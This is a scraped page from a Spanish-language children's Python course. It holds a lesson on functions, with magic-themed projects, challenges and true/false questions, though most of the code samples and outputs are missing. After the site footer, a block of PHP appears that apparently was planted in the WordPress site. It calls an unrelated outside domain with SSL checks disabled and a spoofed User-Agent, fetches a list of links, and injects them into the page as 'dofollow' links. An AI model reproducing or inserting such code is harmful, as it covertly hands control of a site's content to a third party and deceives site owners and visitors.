Be Maker

Loading...

Be Maker

Curso de Invierno Python – Arduino

LECCIÓN 05 – ¡La Magia de las Funciones!

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¡Bienvenido aventurero Python!

💡¿Te imaginas tener hechizos que puedes invocar cuando quieras? ¡Eso es exactamente lo que hacen las funciones en programación!

🚀 5.1 ¿Qué son las funciones?

💡 Una función es un bloque de código que realiza una tarea específica y puede ser reutilizado. Es como una receta mágica que puedes invocar cuando la necesites.

08

🔎 Ejemplo:

🤖 Imagina que tienes un robot que sabe cómo bailar. La función "bailar()" contiene todos los pasos para que el robot baile. Cada vez que quieras que el robot baile, ¡solo tienes que usar la función "bailar()"! 🕺

🛸 Proyecto 1: El Hechizo Repetido

 📌 ¿Qué pasó?

Ahora al llamar a la función "repetir_hechizo()", nos muestra en la pantalla el mensaje ¡Magia! 5 veces, ya que dentro de la función tenemos un bucle for que hace esta tarea.

🛠️Desafío 1: Demuestra lo Aprendido

➡️ Un mago te pide crear un hechizo que salude a quien lo invoque. Escribe una función llamada saludar() que imprima "¡Hola, aventurero!".

💻 Resultado:

🛠️Desafío 2: Demuestra lo Aprendido

➡️ Haz una función llamada contar_hasta_15() que imprima los números impares del 1 al 15.

💻 Resultado:

🚀 5.2 Parámetros: funciones con ingredientes mágicos

💡 Los parámetros son variables que pasamos a una función para que pueda trabajar con ellos. Son como los ingredientes de un hechizo.

09

🛸 Proyecto 2: Saludo Mágico

 📌 ¿Qué pasó?

Cada vez que llamamos a la función debemos escribir un nombre, que justamente es el parámetro de dicha función, después nos muestra un saludo con ese nombre.

🛸 Proyecto 3: Mi Superpoder

 📌 ¿Qué pasó?

Cada vez que llamamos a la función, debemos escribir dos parámetros: el nombre de una persona y su superpoder, para verlo en la pantalla.

🛠️ Desafío 3: Demuestra lo Aprendido

➡️ Escribe una función llamada mezclar_pocion(ingrediente1, ingrediente2, ingrediente3) que tome tres ingredientes e imprima "Mezclando [ingrediente1], [ingrediente2] y [ingrediente3]".

💻 Resultado:

🛠️ Desafío 4: Demuestra lo Aprendido

➡️ Crea una función llamada ataque_magico(tipo, nivel) que tome un tipo de hechizo y un nivel, e imprima "¡Ataque de [tipo] nivel [nivel]!".

💻 Resultado:

🚀 5.3 Valor de retorno: funciones que devuelven regalos

💡 Las funciones también pueden devolver algo. Eso se llama "valor de retorno". Usamos la palabra clave return para eso.

10

🛸 Proyecto 5: Suma

 📌 ¿Qué pasó?

A diferencia de otras funciones, ahora tenemos una función que  devuelve o retorna la suma de dos números que introducimos,  dicho resultado se guarda en la variable resultado para luego mostrarlo en la pantalla.

🛸 Proyecto 5: Suma Mágica

 📌 ¿Qué pasó?

En este caso tenemos una función que retorna la suma de dos números que introducimos por teclado, para luego mostrar el resultado.

🛠️ Desafío 5: Demuestra lo Aprendido

➡️ Escribe una función llamada calc_poder(nivel) que tome el nivel de un mago y duplique su poder (nivel * 2).

🛠️ Desafío 6: Demuestra lo Aprendido

➡️ Crea una función llamada calc_resistencia(fuerza, armadura) que tome la fuerza y la armadura de un guerrero, y devuelva su resistencia (fuerza + armadura * 2).

💻 Resultado:

🎯 Resumen de la Lección 05

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Experiencia por cada reto resuelto💰

📝 Responde en tu Cuaderno 

🔥 Pregunta 01: ¿Qué hace el siguiente código?

1️⃣ ¿Qué figura o figuras dibuja el siguiente código?

🔥 Pregunta 02: Verdadero o Falso

1️⃣ Una función se usa para repetir código.
2️⃣ Los parámetros son como los ingredientes de una receta.
3️⃣ Las funciones siempre tienen que devolver algo.
4️⃣ Usamos def para crear una función.
5️⃣ return sirve para regresar a una función.
6️⃣ Las funciones pueden tener un nombre divertido.
7️⃣ Una función puede tener más de un parámetro.

🔥 Pregunta 03: Razona

¿Por qué al ejecutar el siguiente código, me muestra en la pantalla None (valor no asignado)?

💻 Programa en tu Computadora

🔥 Reto 01:

Crea una función llamada presentacion() que imprima tu nombre y edad.

💻 Resultado:

🔥 Reto 02:

Haz una función llamada tabla_del_5() que imprima la tabla de multiplicar del 5.

💻 Resultado:

🔥 Reto 03:

Crea una función area(lado), que calcule el área de un cuadrado, recibiendo el lado como parámetro (area=lado*lado).

💻 Resultado:

🔥 Reto 04:

Escribe una función llamada area_circulo(radio) que calcule el área de un círculo dado su radio (area=3.14*radio*radio).

Ayuda: Para redondear el resultado a dos dígitos utiliza la función round(). area=round(area, 2)

💻 Resultado:

🔥 Reto 05:

Escribe una función llamada invertir(palabra) que invierta el orden de las letras de una palabra dada.

💻 Resultado:

🔥 Reto 06:

Crea una función llamada calculadora(n1, n2, op) que tome dos números y una operación (+, -, *, /) e imprima el resultado (la función debe ser capaz de detectar la división entre cero).

💻 Resultado:

🔥 Reto 07:

Crea una función llamada es_par(numero) que tome un número y devuelva True si es par o False si es impar.

💻 Resultado:

🔥 Reto 08:

Crea una función calcular_promedio(n1, n2, n3) que devuelva el promedio de tres números ingresados.

💻 Resultado:

🔥 Reto 09:

Crea una función llamada contar_vocales(palabra) que devuelva la cantidad de vocales en una palabra.

💻 Resultado:

💀 Reto Extra: Solo para los más intrépidos y osados.

💰Recompensa Adicionale: 50 bCoins y 15 Gemas de Experiencia💰

"El Detector de Palíndromos": Crea una función palindromo(palabra) que tome una palabra y devuelva True si es un palíndromo (se lee igual al revés) y False si no.

💻 Resultado:

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }